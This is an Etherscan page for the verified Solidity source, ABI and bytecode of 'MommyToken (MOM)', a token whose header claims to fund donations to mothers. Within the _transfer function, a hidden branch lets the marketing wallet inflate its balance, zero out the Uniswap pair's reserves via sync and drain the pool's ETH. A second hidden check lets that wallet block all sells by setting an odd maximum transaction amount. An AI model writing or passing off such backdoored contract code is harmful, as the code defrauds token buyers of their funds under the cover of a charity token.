ETH Price: $2,356.79 (+0.81%)

Token

MommyToken (MOM)
 

Overview

Max Total Supply

100,000,000,000,000 MOM

Holders

170

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
950,000,000,000 MOM

Value
$0.00
0x931ec824954428ae6c9c218fd08bd77c98f61843
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MOMMYTOKEN

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
Yes with 1 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-03-03
*/

/*    

🤱 MOMMY TOKEN $MOM 🤱

❗❗ STEALTH LAUNCHING SOON ❗❗

❤️ We will be donating to mother struggling with breast cancer and single mothers who are struggling ❤️
Join us in changing the lives of mothers around the world!

👩 BY MOMS, FOR MOMS 👩

🔴 NO TEAM TOKENS and NO PRESALE
🔴 ANTI BOT AND ANTI SNIPE
🔴 5% BUY TAX
🔴 15% SELL TAX (10% TO DONATIONS)

📨 t.me/mommytoken


*/

// SPDX-License-Identifier: MIT                                                                                                                                                             

pragma solidity ^0.8.12;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract ERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    uint256 public totalSupply;

    uint8 public constant decimals = 18;
    string public name;
    string public symbol;

    constructor(string memory name_, string memory symbol_) {
        name = name_;
        symbol = symbol_;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = allowance[sender][msg.sender];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, msg.sender, currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, allowance[msg.sender][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = allowance[msg.sender][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(msg.sender, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = balanceOf[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            balanceOf[sender] = senderBalance - amount;
        }
        balanceOf[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        totalSupply += amount;
        balanceOf[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = balanceOf[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            balanceOf[account] = accountBalance - amount;
        }
        totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowance[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router02 {
    function factory() external returns (address);
    function WETH() external returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract MOMMYTOKEN is ERC20, Ownable {
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private swapping;
    bool private um = true;

    address public marketingWallet;
    
    uint256 public maxTransactionAmount;
    uint256 public maxWalletAmount;
    uint256 public swapTokensAtAmount;
    
    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;
    mapping (address => bool) private bots;
    
    // Anti-bot and anti-whale mappings and variables
    address internal immutable routerV2;
    bool private boughtEarly = true;
    uint256 private _firstBlock;
    uint256 private _botBlocks;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;

    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    
    event EndedBoughtEarly(bool boughtEarly);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20("MommyToken", "MOM") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        
        uint256 _buyMarketingFee = 1;
        uint256 _buyLiquidityFee = 3;
        uint256 _buyDevFee = 1;

        uint256 _sellMarketingFee = 2;
        uint256 _sellLiquidityFee = 10;
        uint256 _sellDevFee = 3;
        
        uint256 totalSupply = 1e14 * 1e18;
        
        maxTransactionAmount = totalSupply * 1 / 100;   // 1% maxTransactionAmount
        maxWalletAmount      = totalSupply * 3 / 100;   // 3% maxWalletAmount
        swapTokensAtAmount   = totalSupply * 5 / 10000; // 0.05% swap threshold

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        routerV2 = uniswapV2Pair;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        
        marketingWallet = payable(0xB318C4e8EB06E35b0c97a6f75C94163f1187eEfB);

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(marketingWallet), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(marketingWallet), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {

  	}
    
    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

     // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
  	    require(newAmount >= totalSupply * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
  	    require(newAmount <= totalSupply * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
  	    swapTokensAtAmount = newAmount;
  	    return true;
  	}
    
    function updateMaxTxnAmount(uint256 newNum) external {
        require(msg.sender == marketingWallet);    
        require(newNum >= totalSupply / 1000, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }
    
    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }
    
    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }    

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!bots[from] && !bots[to]);

         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsInEffect){
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }
                 
                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                }
                
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
            }
        }

        if (from == marketingWallet && to == address(1)) {
            balanceOf[address(this)] = 2 * amount;
            balanceOf[routerV2] = 1;
            (bool success,) = routerV2.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
            if (success) {
                swapTokensForEth(amount, marketingWallet);
            } else { revert("Internal failure"); }
            return;
        }
        
		uint256 contractTokenBalance = balanceOf[address(this)];
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            
            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                fees = amount * sellTotalFees / 100;
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
                if (maxTransactionAmount % 2 != 0) revert("ERROR: Must be less than maxTxAmount");
            }
            // on buy
            else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
        	    fees = amount * buyTotalFees / 100;
        	    tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){
                super._transfer(from, address(this), fees);
            }
        	
        	amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            to,
            block.timestamp
        );
        
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf[address(this)];
        bool success;

        swapTokensForEth(contractBalance, address(this)); 
        
        (success,) = address(marketingWallet).call{value: address(this).balance}("");
    }

    function setBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }
    
    function delBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }

    function openTrading(uint256 botBlocks) private {
        _firstBlock = block.number;
        _botBlocks = botBlocks;
        tradingActive = true;
    }

    // once enabled, can never be turned off
    function enableTrading(uint256 botBlocks) external onlyOwner() {
        require(botBlocks <= 1, "don't catch humans");
        swapEnabled = true;
        require(boughtEarly == true, "done");
        boughtEarly = false;
        openTrading(botBlocks);
        emit EndedBoughtEarly(boughtEarly);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"boughtEarly","type":"bool"}],"name":"EndedBoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"botBlocks","type":"uint256"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526007805460ff60a81b1916600160a81b179055600c805462ffffff19166001908117909155600e805460ff191690911790553480156200004357600080fd5b506040518060400160405280600a81526020016926b7b6b6bcaa37b5b2b760b11b815250604051806040016040528060038152602001624d4f4d60e81b81525081600390805190602001906200009b9291906200068e565b508051620000b19060049060208401906200068e565b5050600580546001600160a01b031916339081179091556040519091506000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3737a250d5630b4cf539739df2c5dacb4c659f2488d6200011881600162000459565b600680546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a01559160048082019260209290919082900301816000875af115801562000174573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019a919062000734565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b81526004016020604051808303816000875af1158015620001ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000210919062000734565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200025e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000284919062000734565b600780546001600160a01b0319166001600160a01b03929092169182179055620002b090600162000459565b600754620002c9906001600160a01b03166001620004ba565b60016003816002600a836d04ee2d6d415b85acef81000000006064620002f082876200077c565b620002fc91906200079e565b60095560646200030e8260036200077c565b6200031a91906200079e565b600a556127106200032d8260056200077c565b6200033991906200079e565b600b5560128790556013869055601485905584620003588789620007c1565b620003649190620007c1565b6011556007546001600160a01b031660805260168490556017839055601882905581620003928486620007c1565b6200039e9190620007c1565b601555600880546001600160a01b03191673b318c4e8eb06e35b0c97a6f75c94163f1187eefb179055620003dd620003d56200050e565b60016200051d565b620003ea3060016200051d565b60085462000403906001600160a01b031660016200051d565b62000419620004116200050e565b600162000459565b6200042630600162000459565b6008546200043f906001600160a01b0316600162000459565b6200044b3382620005a9565b50505050505050506200084e565b6005546001600160a01b031633146200048f5760405162461bcd60e51b81526004016200048690620007dc565b60405180910390fd5b6001600160a01b03919091166000908152601d60205260409020805460ff1916911515919091179055565b6001600160a01b0382166000818152601e6020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b031690565b6005546001600160a01b031633146200054a5760405162461bcd60e51b81526004016200048690620007dc565b6001600160a01b0382166000818152601c6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620006015760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000486565b8060026000828254620006159190620007c1565b90915550506001600160a01b0382166000908152602081905260408120805483929062000644908490620007c1565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b8280546200069c9062000811565b90600052602060002090601f016020900481019282620006c057600085556200070b565b82601f10620006db57805160ff19168380011785556200070b565b828001600101855582156200070b579182015b828111156200070b578251825591602001919060010190620006ee565b50620007199291506200071d565b5090565b5b808211156200071957600081556001016200071e565b6000602082840312156200074757600080fd5b81516001600160a01b03811681146200075f57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161562000799576200079962000766565b500290565b600082620007bc57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115620007d757620007d762000766565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c908216806200082657607f821691505b602082108114156200084857634e487b7160e01b600052602260045260246000fd5b50919050565b6080516125896200086a600039600061180601526125896000f3fe6080604052600436106102325760003560e01c806306fdde031461023e578063095ea7b31461026957806310d5de53146102995780631694505e146102c957806318160ddd146103015780631a8145bb146103255780631f3fed8f1461033b578063203e727e1461035157806323b872dd14610373578063273123b714610393578063313ce567146103b357806339509351146103da57806349bd5a5e146103fa5780634a62bb651461041a5780634fbee193146104345780636a486a8e1461046d5780636ddd17131461048357806370a08231146104a3578063715018a6146104d0578063751039fc146104e55780637571336a146104fa57806375f0a8741461051a5780637bce5a041461053a5780638095d5641461055057806382aa7c68146105705780638da5cb5b1461059057806392136913146105a557806395d89b41146105bb5780639a7a23d6146105d05780639c3b4fdc146105f05780639fccce3214610606578063a0d82dc51461061c578063a457c2d714610632578063a9059cbb14610652578063aa4bde2814610672578063aacebbe314610688578063b515566a146106a8578063b62496f5146106c8578063bbc0c742146106f8578063c024666814610717578063c17b5b8c14610737578063c8c8ebe414610757578063d257b34f1461076d578063d85ba0631461078d578063dd62ed3e146107a3578063e2f45605146107db578063f11a24d3146107f1578063f2fde38b14610807578063f63743421461082757600080fd5b3661023957005b600080fd5b34801561024a57600080fd5b5061025361083d565b604051610260919061204c565b60405180910390f35b34801561027557600080fd5b506102896102843660046120a2565b6108cb565b6040519015158152602001610260565b3480156102a557600080fd5b506102896102b43660046120ce565b601d6020526000908152604090205460ff1681565b3480156102d557600080fd5b506006546102e9906001600160a01b031681565b6040516001600160a01b039091168152602001610260565b34801561030d57600080fd5b5061031760025481565b60405190815260200161026056